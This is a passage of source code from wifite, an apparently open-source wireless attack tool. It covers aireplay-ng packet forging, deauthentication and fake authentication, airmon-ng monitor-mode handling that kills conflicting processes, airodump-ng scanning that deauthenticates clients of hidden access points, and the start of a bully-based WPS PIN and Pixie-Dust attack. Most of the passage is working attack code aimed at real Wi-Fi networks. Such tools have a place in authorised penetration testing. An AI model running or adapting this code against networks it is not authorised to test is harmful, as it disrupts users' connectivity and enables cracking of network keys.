MAC\n            '-h', station_mac,     # Client MAC\n            '-k', '192.168.1.2',   # Dest IP\n            '-l', '192.168.1.100', # Source IP\n            '-y', xor_file,        # Read PRNG from .xor file\n            '-w', forged_file,     # Write to\n            Configuration.interface\n        ]\n\n        cmd = '\"%s\"' % '\" \"'.join(cmd)\n        (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)\n        if out.strip() == 'Wrote packet to: %s' % forged_file:\n            return forged_file\n        else:\n            from ..util.color import Color\n            Color.pl('{!} {R}failed to forge packet from .xor file{W}')\n            Color.pl('output:\\n\"%s\"' % out)\n            return None\n\n    @staticmethod\n    def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2):\n        num_deauths = num_deauths or Configuration.num_deauths\n        deauth_cmd = [\n            'aireplay-ng',\n            '-0', # Deauthentication\n            str(num_deauths),\n            '--ignore-negative-one',\n            '-a', target_bssid, # Target AP\n            '-D' # Skip AP detection\n        ]\n        if client_mac is not None:\n            # Station-specific deauth\n            deauth_cmd.extend(['-c', client_mac])\n        if essid:\n            deauth_cmd.extend(['-e', essid])\n        deauth_cmd.append(Configuration.interface)\n        proc = Process(deauth_cmd)\n        while proc.poll() is None:\n            if proc.running_time() >= timeout:\n                proc.interrupt()\n            time.sleep(0.2)\n\n    @staticmethod\n    def fakeauth(target, timeout=5, num_attempts=3):\n        '''\n        Tries a one-time fake-authenticate with a target AP.\n        Params:\n            target (py.Target): Instance of py.Target\n            timeout (int): Time to wait for fakeuth to succeed.\n            num_attempts (int): Number of fakeauth attempts to make.\n        Returns:\n            (bool): True if fakeauth succeeds, otherwise False\n        '''\n\n        cmd = [\n            'aireplay-ng',\n            '-1', '0', # Fake auth, no delay\n            '-a', target.bssid,\n            '-T', str(num_attempts)\n        ]\n        if target.essid_known:\n            cmd.extend(['-e', target.essid])\n        cmd.append(Configuration.interface)\n        fakeauth_proc = Process(cmd,\n                devnull=False,\n                cwd=Configuration.temp())\n\n        timer = Timer(timeout)\n        while fakeauth_proc.poll() is None and not timer.ended():\n            time.sleep(0.1)\n        if fakeauth_proc.poll() is None or timer.ended():\n            fakeauth_proc.interrupt()\n            return False\n        output = fakeauth_proc.stdout()\n        return 'association successful' in output.lower()\n\nif __name__ == '__main__':\n    t = WEPAttackType(4)\n    print(t.name, type(t.name), t.value)\n    t = WEPAttackType('caffelatte')\n    print(t.name, type(t.name), t.value)\n\n    t = WEPAttackType(t)\n    print(t.name, type(t.name), t.value)\n\n"
  },
  {
    "path": "wifite/tools/airmon.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom .ifconfig import Ifconfig\nfrom .iwconfig import Iwconfig\nfrom ..util.process import Process\nfrom ..util.color import Color\nfrom ..util.input import raw_input\nfrom ..config import Configuration\n\nimport re\nimport os\nimport signal\n\nclass AirmonIface(object):\n    def __init__(self, phy, interface, driver, chipset):\n        self.phy = phy\n        self.interface = interface\n        self.driver = driver\n        self.chipset = chipset\n\n    # Max length of fields.\n    # Used for printing a table of interfaces.\n    INTERFACE_LEN = 12\n    PHY_LEN = 6\n    DRIVER_LEN = 20\n    CHIPSET_LEN = 30\n\n    def __str__(self):\n        ''' Colored string representation of interface '''\n        s = ''\n        s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN))\n        s += Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN))\n        s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN))\n        s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN))\n        return s\n\n    @staticmethod\n    def menu_header():\n        ''' Colored header row for interfaces '''\n        s = '    '  # Space for index #\n        s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN)\n        s += 'PHY'.ljust(AirmonIface.PHY_LEN)\n        s += 'Driver'.ljust(AirmonIface.DRIVER_LEN)\n        s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN)\n        s += '\\n'\n        s += '-' * (AirmonIface.INTERFACE_LEN + AirmonIface.PHY_LEN + AirmonIface.DRIVER_LEN + AirmonIface.CHIPSET_LEN + 3)\n        return s\n\n\nclass Airmon(Dependency):\n    ''' Wrapper around the 'airmon-ng' program '''\n    dependency_required = True\n    dependency_name = 'airmon-ng'\n    dependency_url = 'https://www.aircrack-ng.org/install.html'\n\n    base_interface = None\n    killed_network_manager = False\n\n    # Drivers that need to be manually put into monitor mode\n    BAD_DRIVERS = ['rtl8821au']\n    #see if_arp.h\n    ARPHRD_ETHER = 1 #managed\n    ARPHRD_IEEE80211_RADIOTAP = 803 #monitor\n\n    def __init__(self):\n        self.refresh()\n\n    def refresh(self):\n        ''' Get airmon-recognized interfaces '''\n        self.interfaces = Airmon.get_interfaces()\n\n    def print_menu(self):\n        ''' Prints menu '''\n        print(AirmonIface.menu_header())\n        for idx, iface in enumerate(self.interfaces, start=1):\n            Color.pl(' {G}%d{W}. %s' % (idx, iface))\n\n    def get(self, index):\n        ''' Gets interface at index (starts at 1) '''\n        if type(index) is str:\n            index = int(index)\n        return self.interfaces[index - 1]\n\n\n    @staticmethod\n    def get_interfaces():\n        '''Returns List of AirmonIface objects known by airmon-ng'''\n        interfaces = []\n        p = Process('airmon-ng')\n        for line in p.stdout().split('\\n'):\n            # [PHY ]IFACE DRIVER CHIPSET\n            airmon_re = re.compile(r'^(?:([^\\t]*)\\t+)?([^\\t]*)\\t+([^\\t]*)\\t+([^\\t]*)$')\n            matches = airmon_re.match(line)\n            if not matches:\n                continue\n\n            phy, interface, driver, chipset = matches.groups()\n            if phy == 'PHY' or phy == 'Interface':\n                continue  # Header\n\n            if len(interface.strip()) == 0:\n                continue\n\n            interfaces.append(AirmonIface(phy, interface, driver, chipset))\n\n        return interfaces\n\n    @staticmethod\n    def start_bad_driver(iface):\n        '''\n        Manually put interface into monitor mode (no airmon-ng or vif).\n        Fix for bad drivers like the rtl8812AU.\n        '''\n        Ifconfig.down(iface)\n        Iwconfig.mode(iface, 'monitor')\n        Ifconfig.up(iface)\n\n        # /sys/class/net/wlan0/type\n        iface_type_path = os.path.join('/sys/class/net', iface, 'type')\n        if os.path.exists(iface_type_path):\n            with open(iface_type_path, 'r') as f:\n                if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP):\n                    return iface\n\n        return None\n\n    @staticmethod\n    def stop_bad_driver(iface):\n        '''\n        Manually put interface into managed mode (no airmon-ng or vif).\n        Fix for bad drivers like the rtl8812AU.\n        '''\n        Ifconfig.down(iface)\n        Iwconfig.mode(iface, 'managed')\n        Ifconfig.up(iface)\n\n        # /sys/class/net/wlan0/type\n        iface_type_path = os.path.join('/sys/class/net', iface, 'type')\n        if os.path.exists(iface_type_path):\n            with open(iface_type_path, 'r') as f:\n                if (int(f.read()) == Airmon.ARPHRD_ETHER):\n                    return iface\n\n        return None\n\n    @staticmethod\n    def start(iface):\n        '''\n            Starts an interface (iface) in monitor mode\n            Args:\n                iface - The interface to start in monitor mode\n                        Either an instance of AirmonIface object,\n                        or the name of the interface (string).\n            Returns:\n                Name of the interface put into monitor mode.\n            Throws:\n                Exception - If an interface can't be put into monitor mode\n        '''\n        # Get interface name from input\n        if type(iface) == AirmonIface:\n            iface_name = iface.interface\n            driver = iface.driver\n        else:\n            iface_name = iface\n            driver = None\n\n        # Remember this as the 'base' interface.\n        Airmon.base_interface = iface_name\n\n        Color.p('{+} enabling {G}monitor mode{W} on {C}%s{W}... ' % iface_name)\n\n        airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout()\n\n        enabled_iface = Airmon._parse_airmon_start(airmon_output)\n\n        if enabled_iface is None and driver in Airmon.BAD_DRIVERS:\n            Color.p('{O}\"bad driver\" detected{W} ')\n            enabled_iface = Airmon.start_bad_driver(iface_name)\n\n        if enabled_iface is None:\n            Color.pl('{R}failed{W}')\n\n        monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')\n\n        # Assert that there is an interface in monitor mode\n        if len(monitor_interfaces) == 0:\n            Color.pl('{R}failed{W}')\n            raise Exception('Cannot find any interfaces in Mode:Monitor')\n\n        # Assert that the interface enabled by airmon-ng is in monitor mode\n        if enabled_iface not in monitor_interfaces:\n            Color.pl('{R}failed{W}')\n            raise Exception('Cannot find %s with Mode:Monitor' % enabled_iface)\n\n        # No errors found; the device 'enabled_iface' was put into Mode:Monitor.\n        Color.pl('{G}enabled {C}%s{W}' % enabled_iface)\n\n        return enabled_iface\n\n    @staticmethod\n    def _parse_airmon_start(airmon_output):\n        '''Find the interface put into monitor mode (if any)'''\n\n        # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)\n        enabled_re = re.compile(r'.*\\(mac80211 monitor mode (?:vif )?enabled (?:for [^ ]+ )?on (?:\\[\\w+\\])?(\\w+)\\)?.*')\n\n        for line in airmon_output.split('\\n'):\n            matches = enabled_re.match(line)\n            if matches:\n                return matches.group(1)\n\n        return None\n\n\n    @staticmethod\n    def stop(iface):\n        Color.p('{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... ' % iface)\n\n        airmon_output = Process(['airmon-ng', 'stop', iface]).stdout()\n\n        (disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output)\n\n        if not disabled_iface and iface in Airmon.BAD_DRIVERS:\n            Color.p('{O}\"bad driver\" detected{W} ')\n            disabled_iface = Airmon.stop_bad_driver(iface)\n\n        if disabled_iface:\n            Color.pl('{G}disabled %s{W}' % disabled_iface)\n        else:\n            Color.pl('{O}could not disable on {R}%s{W}' % iface)\n\n        return (disabled_iface, enabled_iface)\n\n\n    @staticmethod\n    def _parse_airmon_stop(airmon_output):\n        '''Find the interface taken out of into monitor mode (if any)'''\n\n        # airmon-ng 1.2rc2 output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)\n        disabled_re = re.compile(r'\\s*\\(mac80211 monitor mode (?:vif )?disabled for (?:\\[\\w+\\])?(\\w+)\\)\\s*')\n\n        # airmon-ng 1.2rc1 output: wlan0mon (removed)\n        removed_re = re.compile(r'([a-zA-Z0-9]+).*\\(removed\\)')\n\n        # Enabled interface: (mac80211 station mode vif enabled on [phy4]wlan0)\n        enabled_re = re.compile(r'\\s*\\(mac80211 station mode (?:vif )?enabled on (?:\\[\\w+\\])?(\\w+)\\)\\s*')\n\n        disabled_iface = None\n        enabled_iface = None\n        for line in airmon_output.split('\\n'):\n            matches = disabled_re.match(line)\n            if matches:\n                disabled_iface = matches.group(1)\n\n            matches = removed_re.match(line)\n            if matches:\n                disabled_iface = matches.group(1)\n\n            matches = enabled_re.match(line)\n            if matches:\n                enabled_iface = matches.group(1)\n\n        return (disabled_iface, enabled_iface)\n\n\n    @staticmethod\n    def ask():\n        '''\n        Asks user to define which wireless interface to use.\n        Does not ask if:\n            1. There is already an interface in monitor mode, or\n            2. There is only one wireless interface (automatically selected).\n        Puts selected device into Monitor Mode.\n        '''\n\n        Airmon.terminate_conflicting_processes()\n\n        Color.p('\\n{+} Looking for {C}wireless interfaces{W}...')\n        monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')\n        if len(monitor_interfaces) == 1:\n            # Assume we're using the device already in montior mode\n            iface = monitor_interfaces[0]\n            Color.clear_entire_line()\n            Color.pl('{+} Using {G}%s{W} already in monitor mode' % iface);\n            Airmon.base_interface = None\n            return iface\n\n        Color.clear_entire_line()\n        Color.p('{+} Checking {C}airmon-ng{W}...')\n        a = Airmon()\n        count = len(a.interfaces)\n        if count == 0:\n            # No interfaces found\n            Color.pl('\\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')\n            Color.pl('{!} {O}Make sure your wireless device is connected')\n            Color.pl('{!} {O}See {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}')\n            raise Exception('airmon-ng did not find any wireless interfaces')\n\n        Color.clear_entire_line()\n        a.print_menu()\n\n        Color.pl('')\n\n        if count == 1:\n            # Only one interface, assume this is the one to use\n            choice = 1\n        else:\n            # Multiple interfaces found\n            question = Color.s('{+} Select wireless interface ({G}1-%d{W}): ' % (count))\n            choice = raw_input(question)\n\n        iface = a.get(choice)\n\n        if a.get(choice).interface in monitor_interfaces:\n            Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface)\n        else:\n            iface.interface = Airmon.start(iface)\n        return iface.interface\n\n\n    @staticmethod\n    def terminate_conflicting_processes():\n        ''' Deletes conflicting processes reported by airmon-ng '''\n\n        airmon_output = Process(['airmon-ng', 'check']).stdout()\n\n        # Conflicting process IDs and names\n        pid_pnames = []\n\n        # 2272    dhclient\n        # 2293    NetworkManager\n        pid_pname_re = re.compile(r'^\\s*(\\d+)\\s*([a-zA-Z0-9_\\-]+)\\s*$')\n        for line in airmon_output.split('\\n'):\n            match = pid_pname_re.match(line)\n            if match:\n                pid = match.group(1)\n                pname = match.group(2)\n                pid_pnames.append( (pid, pname) )\n\n        if len(pid_pnames) == 0:\n            return\n\n        if not Configuration.kill_conflicting_processes:\n            # Don't kill processes, warn user\n            names_and_pids = ', '.join([\n                '{R}%s{O} (PID {R}%s{O})' % (pname, pid)\n                for pid, pname in pid_pnames\n            ])\n            Color.pl('{!} {O}Conflicting processes: %s' % names_and_pids)\n            Color.pl('{!} {O}If you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')\n            return\n\n        Color.pl('{!} {O}Killing {R}%d {O}conflicting processes' % len(pid_pnames))\n        for pid, pname in pid_pnames:\n            if pname == 'NetworkManager' and Process.exists('service'):\n                Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})')\n                # Can't just pkill network manager; it's a service\n                Process(['service', 'network-manager', 'stop']).wait()\n                Airmon.killed_network_manager = True\n            elif pname == 'avahi-daemon' and Process.exists('service'):\n                Color.pl('{!} {O}stopping avahi-daemon ({R}service avahi-daemon stop{O})')\n                # Can't just pkill avahi-daemon; it's a service\n                Process(['service', 'avahi-daemon', 'stop']).wait()\n            else:\n                Color.pl('{!} {R}Terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))\n                try:\n                    os.kill(int(pid), signal.SIGTERM)\n                except:\n                    pass\n\n\n    @staticmethod\n    def put_interface_up(iface):\n        Color.p('{!} {O}putting interface {R}%s up{O}...' % (iface))\n        Ifconfig.up(iface)\n        Color.pl(' {G}done{W}')\n\n    @staticmethod\n    def start_network_manager():\n        Color.p('{!} {O}restarting {R}NetworkManager{O}...')\n\n        if Process.exists('service'):\n            cmd = 'service network-manager start'\n            proc = Process(cmd)\n            (out, err) = proc.get_output()\n            if proc.poll() != 0:\n                Color.pl(' {R}Error executing {O}%s{W}' % cmd)\n                if out is not None and out.strip() != '':\n                    Color.pl('{!} {O}STDOUT> %s{W}' % out)\n                if err is not None and err.strip() != '':\n                    Color.pl('{!} {O}STDERR> %s{W}' % err)\n            else:\n                Color.pl(' {G}done{W} ({C}%s{W})' % cmd)\n                return\n\n        if Process.exists('systemctl'):\n            cmd = 'systemctl start NetworkManager'\n            proc = Process(cmd)\n            (out, err) = proc.get_output()\n            if proc.poll() != 0:\n                Color.pl(' {R}Error executing {O}%s{W}' % cmd)\n                if out is not None and out.strip() != '':\n                    Color.pl('{!} {O}STDOUT> %s{W}' % out)\n                if err is not None and err.strip() != '':\n                    Color.pl('{!} {O}STDERR> %s{W}' % err)\n            else:\n                Color.pl(' {G}done{W} ({C}%s{W})' % cmd)\n                return\n        else:\n            Color.pl(' {R}cannot restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}')\n\nif __name__ == '__main__':\n    stdout = '''\nFound 2 processes that could cause trouble.\nIf airodump-ng, aireplay-ng or airtun-ng stops working after\na short period of time, you may want to run 'airmon-ng check kill'\n\n  PID Name\n 5563 avahi-daemon\n 5564 avahi-daemon\n\nPHY\tInterface\tDriver\t\tChipset\n\nphy0\twlx00c0ca4ecae0\trtl8187\t\tRealtek Semiconductor Corp. RTL8187\nInterface 15mon is too long for linux so it will be renamed to the old style (wlan#) name.\n\n\t\t(mac80211 monitor mode vif enabled on [phy0]wlan0mon\n\t\t(mac80211 station mode vif disabled for [phy0]wlx00c0ca4ecae0)\n    '''\n    start_iface = Airmon._parse_airmon_start(stdout)\n    print('start_iface from stdout:', start_iface)\n\n    Configuration.initialize(False)\n    iface = Airmon.ask()\n    (disabled_iface, enabled_iface) = Airmon.stop(iface)\n    print('Disabled:', disabled_iface)\n    print('Enabled:', enabled_iface)\n"
  },
  {
    "path": "wifite/tools/airodump.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom .tshark import Tshark\nfrom .wash import Wash\nfrom ..util.process import Process\nfrom ..config import Configuration\nfrom ..model.target import Target, WPSState\nfrom ..model.client import Client\n\nimport os, time\n\nclass Airodump(Dependency):\n    ''' Wrapper around airodump-ng program '''\n    dependency_required = True\n    dependency_name = 'airodump-ng'\n    dependency_url = 'https://www.aircrack-ng.org/install.html'\n\n    def __init__(self, interface=None, channel=None, encryption=None,\\\n                       wps=WPSState.UNKNOWN, target_bssid=None,\n                       output_file_prefix='airodump',\\\n                       ivs_only=False, skip_wps=False, delete_existing_files=True):\n        '''Sets up airodump arguments, doesn't start process yet.'''\n\n        Configuration.initialize()\n\n        if interface is None:\n            interface = Configuration.interface\n        if interface is None:\n            raise Exception('Wireless interface must be defined (-i)')\n        self.interface = interface\n\n        self.targets = []\n\n        if channel is None:\n            channel = Configuration.target_channel\n        self.channel = channel\n        self.five_ghz = Configuration.five_ghz\n\n        self.encryption = encryption\n        self.wps = wps\n\n        self.target_bssid = target_bssid\n        self.output_file_prefix = output_file_prefix\n        self.ivs_only = ivs_only\n        self.skip_wps = skip_wps\n\n        # For tracking decloaked APs (previously were hidden)\n        self.decloaking = False\n        self.decloaked_bssids = set()\n        self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth\n\n        self.delete_existing_files = delete_existing_files\n\n\n    def __enter__(self):\n        '''\n        Setting things up for this context.\n        Called at start of 'with Airodump(...) as x:'\n        Actually starts the airodump process.\n        '''\n        if self.delete_existing_files:\n            self.delete_airodump_temp_files(self.output_file_prefix)\n\n        self.csv_file_prefix = Configuration.temp() + self.output_file_prefix\n\n        # Build the command\n        command = [\n            'airodump-ng',\n            self.interface,\n            '-a', # Only show associated clients\n            '-w', self.csv_file_prefix, # Output file prefix\n            '--write-interval', '1' # Write every second\n        ]\n        if self.channel:    command.extend(['-c', str(self.channel)])\n        elif self.five_ghz: command.extend(['--band', 'a'])\n\n        if self.encryption:   command.extend(['--enc', self.encryption])\n        if self.wps:          command.extend(['--wps'])\n        if self.target_bssid: command.extend(['--bssid', self.target_bssid])\n\n        if self.ivs_only: command.extend(['--output-format', 'ivs,csv'])\n        else:             command.extend(['--output-format', 'pcap,csv'])\n\n        # Start the process\n        self.pid = Process(command, devnull=True)\n        return self\n\n\n    def __exit__(self, type, value, traceback):\n        '''\n        Tearing things down since the context is being exited.\n        Called after 'with Airodump(...)' goes out of scope.\n        '''\n        # Kill the process\n        self.pid.interrupt()\n\n        if self.delete_existing_files:\n            self.delete_airodump_temp_files(self.output_file_prefix)\n\n\n    def find_files(self, endswith=None):\n        return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith)\n\n    @classmethod\n    def find_files_by_output_prefix(cls, output_file_prefix, endswith=None):\n        ''' Finds all files in the temp directory that start with the output_file_prefix '''\n        result = []\n        temp = Configuration.temp()\n        for fil in os.listdir(temp):\n            if not fil.startswith(output_file_prefix):\n                continue\n\n            if endswith is None or fil.endswith(endswith):\n                result.append(os.path.join(temp, fil))\n\n        return result\n\n    @classmethod\n    def delete_airodump_temp_files(cls, output_file_prefix):\n        '''\n        Deletes airodump* files in the temp directory.\n        Also deletes replay_*.cap and *.xor files in pwd.\n        '''\n        # Remove all temp files\n        for fil in cls.find_files_by_output_prefix(output_file_prefix):\n            os.remove(fil)\n\n        # Remove .cap and .xor files from pwd\n        for fil in os.listdir('.'):\n            if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):\n                os.remove(fil)\n\n        # Remove replay/cap/xor files from temp\n        temp_dir = Configuration.temp()\n        for fil in os.listdir(temp_dir):\n            if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):\n                os.remove(os.path.join(temp_dir, fil))\n\n    def get_targets(self, old_targets=[], apply_filter=True):\n        ''' Parses airodump's CSV file, returns list of Targets '''\n\n        # Find the .CSV file\n        csv_filename = None\n        for fil in self.find_files(endswith='.csv'):\n            csv_filename = fil  # Found the file\n            break\n\n        if csv_filename is None or not os.path.exists(csv_filename):\n            return self.targets  # No file found\n\n        targets = Airodump.get_targets_from_csv(csv_filename)\n        for old_target in old_targets:\n            for target in targets:\n                if old_target.bssid == target.bssid:\n                    target.wps = old_target.wps\n\n        # Check targets for WPS\n        if not self.skip_wps:\n            capfile = csv_filename[:-3] + 'cap'\n            try:\n                Tshark.check_for_wps_and_update_targets(capfile, targets)\n            except ValueError:\n                # No tshark, or it failed. Fall-back to wash\n                Wash.check_for_wps_and_update_targets(capfile, targets)\n\n        if apply_filter:\n            # Filter targets based on encryption & WPS capability\n            targets = Airodump.filter_targets(targets, skip_wps=self.skip_wps)\n\n        # Sort by power\n        targets.sort(key=lambda x: x.power, reverse=True)\n\n        # Identify decloaked targets\n        for old_target in self.targets:\n            for new_target in targets:\n                if old_target.bssid != new_target.bssid:\n                    continue\n\n                if new_target.essid_known and not old_target.essid_known:\n                    # We decloaked a target!\n                    new_target.decloaked = True\n                    self.decloaked_bssids.add(new_target.bssid)\n\n        self.targets = targets\n        self.deauth_hidden_targets()\n\n        return self.targets\n\n\n    @staticmethod\n    def get_targets_from_csv(csv_filename):\n        '''Returns list of Target objects parsed from CSV file.'''\n        targets = []\n        import csv\n        with open(csv_filename, 'r') as csvopen:\n            lines = []\n            for line in csvopen:\n                line = line.replace('\\0', '')\n                lines.append(line)\n            csv_reader = csv.reader(lines,\n                    delimiter=',',\n                    quoting=csv.QUOTE_ALL,\n                    skipinitialspace=True,\n                    escapechar='\\\\')\n\n            hit_clients = False\n            for row in csv_reader:\n                # Each 'row' is a list of fields for a target/client\n\n                if len(row) == 0: continue\n\n                if row[0].strip() == 'BSSID':\n                    # This is the 'header' for the list of Targets\n                    hit_clients = False\n                    continue\n\n                elif row[0].strip() == 'Station MAC':\n                    # This is the 'header' for the list of Clients\n                    hit_clients = True\n                    continue\n\n                if hit_clients:\n                    # The current row corresponds to a 'Client' (computer)\n                    try:\n                        client = Client(row)\n                    except (IndexError, ValueError) as e:\n                        # Skip if we can't parse the client row\n                        continue\n\n                    if 'not associated' in client.bssid:\n                        # Ignore unassociated clients\n                        continue\n\n                    # Add this client to the appropriate Target\n                    for t in targets:\n                        if t.bssid == client.bssid:\n                            t.clients.append(client)\n                            break\n\n                else:\n                    # The current row corresponds to a 'Target' (router)\n                    try:\n                        target = Target(row)\n                        targets.append(target)\n                    except Exception:\n                        continue\n\n        return targets\n\n    @staticmethod\n    def filter_targets(targets, skip_wps=False):\n        ''' Filters targets based on Configuration '''\n        result = []\n        # Filter based on Encryption\n        for target in targets:\n            if Configuration.clients_only and len(target.clients) == 0:\n                continue\n            if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:\n                result.append(target)\n            elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:\n                    result.append(target)\n            elif 'WPS' in Configuration.encryption_filter and target.wps in [WPSState.UNLOCKED, WPSState.LOCKED]:\n                result.append(target)\n            elif skip_wps:\n                result.append(target)\n\n        # Filter based on BSSID/ESSID\n        bssid = Configuration.target_bssid\n        essid = Configuration.target_essid\n        i = 0\n        while i < len(result):\n            if result[i].essid is not None and Configuration.ignore_essid is not None and Configuration.ignore_essid.lower() in result[i].essid.lower():\n                result.pop(i)\n            elif bssid and result[i].bssid.lower() != bssid.lower():\n                result.pop(i)\n            elif essid and result[i].essid and result[i].essid.lower() != essid.lower():\n                result.pop(i)\n            else:\n                i += 1\n        return result\n\n    def deauth_hidden_targets(self):\n        '''\n        Sends deauths (to broadcast and to each client) for all\n        targets (APs) that have unknown ESSIDs (hidden router names).\n        '''\n        self.decloaking = False\n\n        if Configuration.no_deauth:\n            return  # Do not deauth if requested\n\n        if self.channel is None:\n            return  # Do not deauth if channel is not fixed.\n\n        # Reusable deauth command\n        deauth_cmd = [\n            'aireplay-ng',\n            '-0', # Deauthentication\n            str(Configuration.num_deauths), # Number of deauth packets to send\n            '--ignore-negative-one'\n        ]\n\n        for target in self.targets:\n            if target.essid_known:\n                continue\n\n            now = int(time.time())\n            secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)\n\n            if secs_since_decloak < 30:\n                continue  # Decloak every AP once every 30 seconds\n\n            self.decloaking = True\n            self.decloaked_times[target.bssid] = now\n            if Configuration.verbose > 1:\n                from ..util.color import Color\n                Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients)))\n\n            # Deauth broadcast\n            iface = Configuration.interface\n            Process(deauth_cmd + ['-a', target.bssid, iface])\n\n            # Deauth clients\n            for client in target.clients:\n                Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface])\n\nif __name__ == '__main__':\n    ''' Example usage. wlan0mon should be in Monitor Mode '''\n    with Airodump() as airodump:\n\n        from time import sleep\n        sleep(7)\n\n        from ..util.color import Color\n\n        targets = airodump.get_targets()\n        for idx, target in enumerate(targets, start=1):\n            Color.pl('   {G}%s %s' % (str(idx).rjust(3), target.to_str()))\n\n    Configuration.delete_temp()\n"
  },
  {
    "path": "wifite/tools/bully.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom .dependency import Dependency\nfrom .airodump import Airodump\nfrom ..model.attack import Attack\nfrom ..model.wps_result import CrackResultWPS\nfrom ..util.color import Color\nfrom ..util.timer import Timer\nfrom ..util.process import Process\nfrom ..config import Configuration\n\nimport os, time, re\nfrom threading import Thread\n\nclass Bully(Attack, Dependency):\n    dependency_required = False\n    dependency_name = 'bully'\n    dependency_url = 'https://github.com/aanarchyy/bully'\n\n    def __init__(self, target, pixie_dust=True):\n        super(Bully, self).__init__(target)\n\n        self.target = target\n        self.pixie_dust = pixie_dust\n\n        self.total_attempts = 0\n        self.total_timeouts = 0\n        self.total_failures = 0\n        self.locked = False\n        self.state = '{O}Waiting for beacon{W}'\n        self.start_time = time.time()\n        self.last_pin = \"\"\n        self.pins_remaining = -1\n        self.eta = ''\n\n        self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None\n        self.crack_result = None\n\n        self.cmd = []\n\n        if Process.exists('stdbuf'):\n            self.cmd.extend([\n                'stdbuf', '-o0' # No buffer. See https://stackoverflow.com/a/40453613/7510292\n            ])\n\n        self.cmd.extend([\n            'bully',\n            '--bssid', target.bssid,\n            '--channel', target.channel,\n            #'--detectlock', # Detect WPS lockouts unreported by AP\n\n            # Restoring session from '/root/.bully/34210901927c.run'\n            # WARNING: WPS checksum was bruteforced in prior session, now autogenerated\n            # Use --force to ignore above warning(s) and continue anyway\n            '--force',\n\n            '-v', '4',\n            Configuration.interface\n        ])\n\n        if self.pixie_dust:\n            self.cmd.insert(-1, '--pixiewps')\n\n        self.bully_proc = None\n\n\n    def run(self):\n        with Airodump(channel=self.target.channel,\n                      target_bssid=self.target.bssid,\n                      skip_wps=True,\n                      output_file_prefix='wps_pin') as airodump:\n            # Wait for target\n            self.pattack('Waiting for target to appear...')\n            self.target = self.wait_for_target(airodump)\n\n            # Start bully\n            self.bully_proc = Process(self.cmd,\n                stderr=Process.devnull(),\n                bufsize=0,\n                cwd=Configuration.temp())\n\n            # Start bully status thread\n            t = Thread(target=self.parse_line_thread)\n            t.daemon = True\n            t.start()\n\n            try:\n                self._run(airodump)\n            except KeyboardInterrupt as e:\n                self.stop()\n                raise e\n            except Exception as e:\n                self.stop()\n                raise e\n\n        if self.crack_result is None:\n            self.pattack('{R}Failed{W}', newline=True)\n\n    def _run(self, airodump):\n        while self.bully_proc.poll() is None:\n            try:\n                self.target = self.wait_for_target(airodump)\n            except Exception as e:\n                self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)\n                Color.pexception(e)\n                self.stop()\n                break\n\n            # Update status\n            self.pattack(self.get_status())\n\n            # Thresholds only apply to Pixie-Dust\n            if self.pixie_dust:\n                # Check if entire attack timed out.\n                if self.running_time() > Configuration.wps_pixie_timeout:\n                    self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % (\n                        Configuration.wps_pixie_timeout), newline=True)\n                    self.stop()\n                    return\n\n                # Check if timeout threshold was breached\n                if self.total_timeouts >= Configuration.wps_timeout_threshold:\n                    self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % (\n                        Configuration.wps_timeout_threshold), newline=True)\n                    self.stop()\n                    return\n\n                # Check if WPSFail threshold was breached\n                if self.total_failures >= Configuration.wps_fail_threshold:\n                    self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % (\n                        Configuration.wps_fail_threshold), newline=True)\n                    self.stop()\n                    return\n            else:\n                if self.locked and not Configuration.wps_ignore_lock:\n                    self.pattack('{R}Failed: {O}Access point is {R}Locked{O}',\n                            newline=True)\n                    self.stop()\n                    return\n\n\n            time.sleep(0.5)\n\n\n    def pattack(self, message, newline=False):\n        # Print message with attack information.\n        if self.pixie_dust:\n            # Count down\n            time_left = Configuration.wps_pixie_timeout - self.running_time()\n            attack_name = 'Pixie-Dust'\n        else:\n            # Count up\n            time_left = self.running_time()\n            attack_name = 'PIN Attack'\n\n        if self.eta:\n            time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta\n        else:\n            time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)\n\n        if self.pins_remaining >= 0:\n            